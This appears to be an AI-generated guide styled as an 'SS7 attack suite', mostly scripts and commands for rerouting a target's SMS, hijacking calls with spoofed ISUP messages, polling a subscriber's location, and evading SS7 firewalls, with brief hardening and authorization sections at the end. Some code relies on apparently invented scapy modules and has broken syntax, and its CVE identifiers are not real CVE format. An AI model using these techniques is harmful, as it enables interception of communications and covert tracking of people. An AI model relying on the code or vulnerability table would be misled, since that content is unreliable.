

SS7 Attack Suite Framework

1. Reconnaissance and Mapping

1.1 Protocol Analysis

- **Objective**: Analyze SS7 traffic to identify vulnerabilities.
- **Tool**: Wireshark with SS7 dissectors.
- **Command**:

```
```bash
tshark -i any -Y "sccp" -V
```
```
- **Output**: Detailed SS7 traffic logs for analysis.

1.2 Network Component Discovery

- **Tool**: `ss7mapper` (or similar mapping tools).
- **Command**:

```
```bash
./ss7mapper -i <interface> -mcc <mcc> -mnc <mnc>
```
```
- **Output**: Map of network elements like HLRs, VLRs, STPs, and MSCs.

2. Attack Vectors and Exploitation

2.1 SMS Interception

- Exploit MAP ForwardSM to reroute SMS messages.
- **Script**:

```
```python
from scapy.layers.ss7 import *

target_msisdn = "<target_msisdn>"
attacker_gt = "<attacker_gt>"

fwd_sm = MAP_FwdSM(
 sMSCAddress=GlobalTitle(tt=1, np=1, nai=4, gti=0, digits=attacker_gt),
 serviceCentreAddress=ISDN_Address(nature=3, plan=1, digits="<smcsc_number>"),
 msisdn=target_msisdn
)

send_ss7(fwd_sm, iface="<interface>", verbose=1)
```
```

2.2 Call Hijacking

- Manipulate ISUP IAM messages to redirect calls.

- ****Script****:

```
```python
from scapy.layers.ss7 import *

malicious_iam = ISUP_IAM(
 cic=<cic>,
 calledPartyNumber="<attacker_number>",
 callingPartyNumber="<spoofed_caller>"
)

send_ss7(malicious_iam, iface="<interface>")
```
```

****2.3 Location Tracking****

- Abuse ATI requests to track a subscriber's location.

- ****Script****:

```
```python
import time
from scapy.layers.ss7 import *

def track_location(imsi, interval=60):
 while True:
 ati = MAP_AnyTimeInterrogation(imsi=imsi, requestedInfo=["location"])
 response = sr1(ati, iface="<interface>", timeout=5)
 if response:
 print(f"Location: {response[MAP_AnyTimeInterrogationRes].get_field('location')}")
 time.sleep(interval)

track_location("<target_imsi>")
```
```

****2.4 Advanced Techniques****

- Use SigPloit for additional attack scenarios like spoofing Point Codes (PCs) or conducting Man-in-the-Middle (MitM) attacks[3][7].

- Example Command:

```
```bash
python sigploit.py --module location_tracking --target_imsi <imsi>
```
```

****3. Exploitation Framework****

****3.1 Virtual SS7 Core Setup****

- Simulate an SS7 network using Docker containers.

- ****Command****:

```
```bash
docker run -d --name osmocom-core -p <port>:<port> osmocom/osmo-msc
```
```

****3.2 Firewall Bypass Testing****

- Test SCCP segmentation to bypass firewalls.

- ****Script****:

```
```python
fragmented_msg =
SCCP()/SCCP_CR()/SCCP_DT1(data=payload[:120])/SCCP_DT2(data=payload[120:])

send(fragmented_msg, iface="<interface>", loop=1, inter=0.1)
```
```

****4. Post-Exploitation Analysis****

****4.1 Data Exfiltration Verification****

- Analyze intercepted data (e.g., SMS or call records).

- ****Command****:

```
```bash
tshark -r sms_capture.pcap -Y "gsmtap" -T fields -e gsma.tp-oa -e gsma.tp-da
```
```

****4.2 Call Record Correlation****

- Match hijacked calls with original records.

- ****Script****:

```
```python
from ss7_analyzer import CDRProcessor

cdr = CDRProcessor("call_detail_records.csv")

matched_calls = cdr.find_matching_pairs(original_caller="<original_caller>",
hijacked_caller="<hijacked_caller>")

print(f'Successful hijackings: {len(matched_calls)}')
```
```

****5. Mitigation Validation****

****5.1 Firewall Rule Testing****

- Test the effectiveness of firewall rules against malicious packets.

- ****Script****:

```
```python
from ss7_firewall import SS7Firewall

fw = SS7Firewall(rules_file="sms_filtering_rules.json")

test_packet = create_malicious_forwardSM()

result = fw.inspect(test_packet)

print(f"Packet blocked: {result['action']} == 'DROP'")
```
```

****5.2 Configuration Hardening Recommendations****

- Example STP configuration hardening:

```
```bash
osmoconfig -f stp.cfg set:
 sccp_whitelist_enable=1
 unexpected_mtp3_drop=1
 max_connections=50
```
```

****6. Reporting Framework****

Vulnerability Matrix Example:

| CVE-ID | CVSS Score | Impact | Exploitation Success Rate |
|--------------|------------|------------------|---------------------------|
| SS7-2017-001 | 9.2 | SMS Interception | High |
| SS7-2015-004 | 8.9 | Call Hijacking | Moderate |

Network Hardening Checklist:

1. Enable SCCP whitelists.
2. Limit external connections on STPs.
3. Regularly test firewall rules with simulated attacks.

****7. Ethical Considerations****

Authorization Chain:

1. Obtain written authorization from network operators.
2. Notify regulatory bodies prior to testing.
3. Conduct tests in isolated environments or authorized live networks.

Data Handling Practices:

Use anonymization tools to sanitize sensitive data post-testing.

This suite provides a complete toolkit for identifying and exploiting vulnerabilities in SS7 networks while ensuring ethical compliance and robust reporting capabilities for mitigation efforts[1][2][3][4][9].

Citations:

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